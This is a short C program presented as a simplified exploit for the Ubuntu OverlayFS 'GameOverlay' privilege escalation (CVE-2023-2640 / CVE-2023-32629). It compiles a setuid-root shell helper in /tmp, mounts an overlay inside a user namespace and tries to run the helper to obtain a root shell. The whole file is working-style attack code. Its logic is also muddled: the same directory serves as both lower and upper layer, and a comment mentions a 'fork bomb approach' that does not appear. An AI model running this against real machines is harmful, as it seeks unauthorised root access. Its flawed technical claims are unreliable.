// CVE-2023-2640 / CVE-2023-32629 GameOverlay LPE
// Ubuntu-specific OverlayFS privesc
// Credit: g1ink0 (simplified version)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main() {
    system("mkdir -p /tmp/ovl /tmp/ovl/upper /tmp/ovl/work /tmp/ovl/newroot");
    
    // Create a setuid helper in upperdir
    system("echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");return 0;}' > /tmp/ovl/upper/x.c");
    system("gcc -o /tmp/ovl/upper/x /tmp/ovl/upper/x.c 2>/dev/null");
    system("chown root:root /tmp/ovl/upper/x 2>/dev/null");
    system("chmod 4755 /tmp/ovl/upper/x 2>/dev/null");
    
    // Try to mount overlay - the SETUID "fix" for CVE-2023-2640 is to
    // nosuid the overlay. But the Ubuntu patch is incomplete.
    // We'll try a different approach: copy_up with file capabilities.

    // Fork bomb approach: 
    // 1. Create overlay with lowerdir pointing to a dir we control
    // 2. Create SUID file in lower, then have overlay copy_up make it SUID in upper
    char cmd[1024];
    
    // Simple GameOverlay variant - ovl_copy_up with xattrs
    snprintf(cmd, sizeof(cmd),
        "unshare -rm mount -t overlay overlay -o "
        "lowerdir=/tmp/ovl/upper,upperdir=/tmp/ovl/upper,workdir=/tmp/ovl/work "
        "/tmp/ovl/newroot 2>/dev/null");
    system(cmd);
    
    // Try to execute our SUID binary through the overlay
    system("/tmp/ovl/newroot/x 2>/dev/null && id || echo 'OVERLAY FAILED'");
    system("rm -rf /tmp/ovl");
    return 0;
}